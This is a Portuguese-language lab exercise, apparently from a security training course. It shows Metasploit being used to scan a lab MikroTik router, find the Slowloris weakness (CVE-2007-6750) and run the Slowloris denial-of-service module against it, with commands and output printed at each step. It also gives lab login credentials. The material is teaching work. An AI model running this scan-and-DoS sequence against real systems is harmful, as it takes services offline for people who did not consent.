Exercício 1b - Utilizando o Metasploit

Objetivo: Aprender a usar o programa Metasploit para tentar obter informações e explorar possíveis vulnerabilidades nos equipamentos.

Cenário inicial: Endereços IPs configurados nas interfaces dos equipamentos.

1. Entre no equipamento **KaliLinux**
   login: ceptro
   senha: ceptro
2. Abra o Terminal do KaliLinux **Terminal Emulator**

3. No terminal, inicie o Metasploit.

```
#sudo msfdb init && msfconsole
```

4. Em seguida, será apresentado o console do Metasploit.

```
msf6 >
```

5. Inicialmente, dentro do console do Metasploit vamos usar o comando *help* para listar os comandos que estão disponíveis.

```
msf6 > help
```

6. Agora, vamos fazer uma varredura de portas e serviços abertos no **MikrotikClientes,** usando o módulo **Nmap** que há no Metasploit, e adicionar as informações das portas e serviços encontrados em banco de dados.

```
msf6 > db_nmap -A -6 4d0c:XX:0000::1
```

7. Para ver as máquinas que foram encontradas durante a varredura utilize o comando *hosts*.

```
msf6 > hosts

Hosts
=====

address       mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---  ----  -------  ---------  -----  -------  ----  --------
4d0c:XX::1             Unknown                    device
```

8. Utilize o comando *services* para identificar quais portas e serviços estão abertos no **MikrotikClientes**.

```
msf6 > services

Services
========

host         port  proto  name            state  info
----         ----  -----  ----            -----  ----
4d0c:XX::1   21    tcp    ftp             open   MikroTik router ftpd 6.45.8
4d0c:XX::1   22    tcp    ssh             open   MikroTik RouterOS sshd protocol 2.0
4d0c:XX::1   23    tcp    telnet          open   Linux telnetd
4d0c:XX::1   80    tcp    http            open   MikroTik router config httpd
4d0c:XX::1   2000  tcp    bandwidth-test  open   MikroTik bandwidth-test server
4d0c:XX::1   8291  tcp    winbox          open   MikroTik WinBox
```

9. Com a lista de serviços descobertos no passo anterior, agora podemos buscar por um determinado exploit que explore alguma vulnerabilidade daquele determinado serviço ou modelo de equipamento encontrado. Para buscar por um exploit você pode utilizar os seguintes comandos:

```
msf6 > search -h
msf6 > search WinBox
msf6 > search ftpd
msf6 > search MikroTik
msf6 > searchsploit MikroTik
```

10. Podemos fazer um scanner mais completo e procurar por vulnerabilidades em uma máquina específica. Utilize o endereço IPv6 do **MikrotikClientes:**

```
msf6 > db_nmap -v -6 --script=vuln 4d0c:XX::1
```

11. No **MikrotikClientes** foi encontrado a vulnerabilidade *Slowloris DOS attack* e CVE-2007-6750

```
[*] Nmap: | http-slowloris-check:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Slowloris DOS attack
[*] Nmap: |     State: LIKELY VULNERABLE
[*] Nmap: |  IDs:  CVE:CVE-2007-6750
[*] Nmap: | Slowloris tries to keep many connections to the target web server open
and hold them open as long as possible.  It accomplishes this by opening connections
to the target web server and sending a partial request. By doing so, it starves the
http server's resources causing Denial Of Service.
...
```

Como identificamos durante a varredura de portas e serviços abertos no **MikrotikClientes**, a porta TCP 80 encontra-se aberta. A vulnerabilidade *Slowloris DOS attack* encontrada explora a porta TCP 80 aberta.

12. Vamos tentar explorar a vulnerabilidade encontrada e fazer um ataque de negação de serviço (DoS) no **MikrotikClientes**. Primeiro, procure pelo CVE-2007-6750

```
msf6 > search CVE-2007-6750

Matching Modules
================

#  Name                          Disclosure Date  Rank    Check  Description
-  ----                          ---------------  ----    -----  -----------
0  auxiliary/dos/http/slowloris  2009-06-17       normal  No     Slowloris DoS Attack
```

13. Encontramos o exploit auxiliary/dos/http/slowloris. Agora, vamos carregar o exploit:

```
msf6 > use auxiliary/dos/http/slowloris

msf6 auxiliary(dos/http/slowloris) >
```

14. Dentro do exploit, usaremos o comando *show options* para ver seus atributos obrigatórios:

```
msf6 auxiliary(dos/http/slowloris) > show options

Module options (auxiliary/dos/http/slowloris):

Name              Current Setting  Required  Description
----              ---------------  --------  -----------
delay             15               yes       The delay between sending keep-alive headers
rand_user_agent   true             yes       Randomizes user-agent with each request
rhost                              yes       The target address
rport             80               yes       The target port
sockets           150              yes       The number of sockets to use in the attack
ssl               false            yes       Negotiate SSL/TLS for outgoing connections
```

Neste caso, o exploit aceita as opções de delay, rand_user_agent, Remote Host, Remote port, sockets e ssl. Para configurar/editar essas opções, utilizaremos o comando *set*.

15. Neste passo, vamos configurar apenas o endereço do Remote Host. Adicione o endereço IPv6 do **MikrotikClientes.**

```
msf6 auxiliary(dos/http/slowloris) > set rhost 4d0c:XX::1
rhost => 4d0c:xx::1

msf6 auxiliary(dos/http/slowloris) > set sockets 500
sockets => 500
```

Antes de executar o ataque de negação de serviço, verifique se o serviço web está funcionando normalmente no **MikrotikClientes**.

16. Abra o navegador Firefox da máquina **KaliLinux**
    a. Acesse http://[4d0c:XX::1]:80/

17. Agora, para executar o ataque de negação de serviço precisamos executar o módulo com o comando *run*. Volte para o console do Metasploit e utilize o comando:

```
msf6 auxiliary(dos/http/slowloris) > run

[*] Starting server...
[*] Attacking 4d0c:XX::1 with 500 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 500
[*] Sending keep-alive headers... Socket count: 500
```

18. Neste momento o módulo auxiliar utilizado entrará em execução no IP alvo informado anteriormente. Aguarde um pouco e volte para o navegador Firefox da máquina **KaliLinux**.

    Em uma nova aba acesse http://[4d0c:XX::1]:80/.

    Você ainda consegue acessar o serviço que está ativo na porta 80 do **MikrotikClientes**?